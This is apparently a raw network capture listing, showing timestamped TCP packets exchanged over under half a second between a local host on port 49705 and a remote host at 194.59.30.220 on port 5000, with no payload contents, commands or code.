Dec 18, 2024 11:40:32.036360979 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.045378923 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.045397997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.045594931 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.045742035 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.045756102 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.045928001 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.046633005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.046646118 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.046706915 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.047576904 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.047588110 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.047683954 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.179900885 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.180143118 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.180254936 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.180255890 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.180268049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.180315971 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.181334972 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.181346893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.181395054 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.182251930 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.182673931 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.182725906 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.183254004 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.183336020 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.183444023 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.184302092 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.184314966 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.184747934 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.185203075 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.185220003 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.185625076 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.186359882 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.186372042 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.186497927 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.187345028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.187357903 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.188256979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.188268900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.188342094 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.188342094 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.189291954 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.189304113 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.189619064 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.190247059 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.190258026 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.190310955 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.191212893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.191225052 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.191338062 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.192162991 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.192322969 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.192378998 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.193239927 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.193252087 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.193345070 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.194364071 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.194375992 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.194428921 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.195180893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.195194960 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.195339918 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.196121931 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.196487904 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.196569920 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.197149038 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.197201967 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.197299957 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.198081017 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.198215008 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.198278904 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.199197054 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.199208975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.199333906 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.200077057 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.200161934 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.200396061 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.201117992 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.201131105 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.201201916 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.202027082 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.202308893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.202358007 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.202999115 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.203380108 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.203521013 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.204118967 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.204346895 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.204395056 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.205151081 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.205163002 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.205219030 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.206140041 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.206155062 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.206248999 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.207070112 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.207086086 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.207127094 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.208223104 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.208235979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.208268881 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.209067106 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.210007906 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.210021019 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.210087061 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.210088968 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.210352898 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.211370945 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.211818933 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.211908102 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.212599993 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.212615967 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.212672949 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.213344097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.213361979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.213401079 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.214153051 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.214165926 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.214215994 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.215079069 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.215090990 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.215130091 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.216079950 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.216092110 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.216329098 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.217051029 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.217065096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.217116117 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.218005896 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.218055964 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.218110085 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.219111919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.219125032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.219161987 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.220057011 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.220068932 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.220113993 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.221013069 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.221024990 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.221066952 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.221940994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.222063065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.222109079 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.222877979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.223059893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.223104954 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.223921061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.224299908 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.224365950 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.225017071 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.225028038 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.225155115 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.225969076 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.226428032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.226480961 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.227016926 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.227029085 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.227066040 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.227890968 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.227940083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.228017092 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.236457109 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.236488104 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.236608982 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.237044096 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.237056971 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.237092018 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.237881899 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.238284111 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.238296032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.238332987 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.284899950 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.370882034 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.370902061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.371048927 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.371198893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.371429920 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.371484995 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.372282028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.372359037 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.372406960 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.373063087 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.373640060 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.373692036 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.374119997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.374131918 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.374185085 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.375077009 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.375089884 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.375129938 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.376158953 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.376171112 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.376301050 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.377235889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.377248049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.377314091 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.377943039 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.378689051 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.378765106 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.378987074 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.378999949 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.379339933 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.380038023 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.380049944 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.380286932 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.381042004 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.381055117 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.381119967 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.381978989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.382045984 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.382107019 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.382987022 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.383133888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.383198023 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.384072065 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.384083986 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.384130955 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.384907961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.385081053 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.385190010 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.385915995 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.386023998 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.386091948 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.386898041 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.387368917 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.387609005 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.387847900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.388062954 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.388128042 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.388878107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.388987064 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.389040947 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.390000105 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.390013933 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.390068054 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.390903950 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.391369104 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.391508102 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.391942978 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.391956091 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.392082930 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.392910957 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.392924070 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.393358946 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.393834114 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.393979073 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.394033909 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.394804001 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.394946098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.395024061 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.395855904 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.395931005 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.395983934 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.396811962 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.396951914 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.397049904 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.397782087 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.397813082 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.397876978 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.398874044 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.398941994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.399041891 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.399791956 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.399964094 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.400058985 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.401016951 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.401029110 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.401077032 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.402096033 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.402136087 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.402214050 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.402837992 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.402851105 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.402988911 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.403848886 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.403870106 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.403960943 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.405494928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.405656099 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.405724049 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.405879021 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.405890942 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.406002998 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.406735897 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.406826973 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.406874895 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.407831907 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.408318043 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.408524990 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.408801079 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.409281015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.409419060 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.409986019 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.409998894 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.410113096 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.410711050 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.411016941 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.411338091 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.411681890 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.411823988 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.411986113 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.412692070 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.412851095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.412904024 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.413825989 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.413896084 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.413954973 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.414938927 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.415124893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.415185928 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.415709972 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.416021109 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.416163921 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.417572975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.418023109 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.418035030 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.418045998 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.418128014 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.418128014 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.418747902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.419115067 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.419218063 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.427700996 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.427721977 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.427826881 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.428235054 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.428247929 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.428318024 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:32.429189920 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.429203033 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:32.429282904 CET	49705	5000	192.168.2.5	194.59.30.220
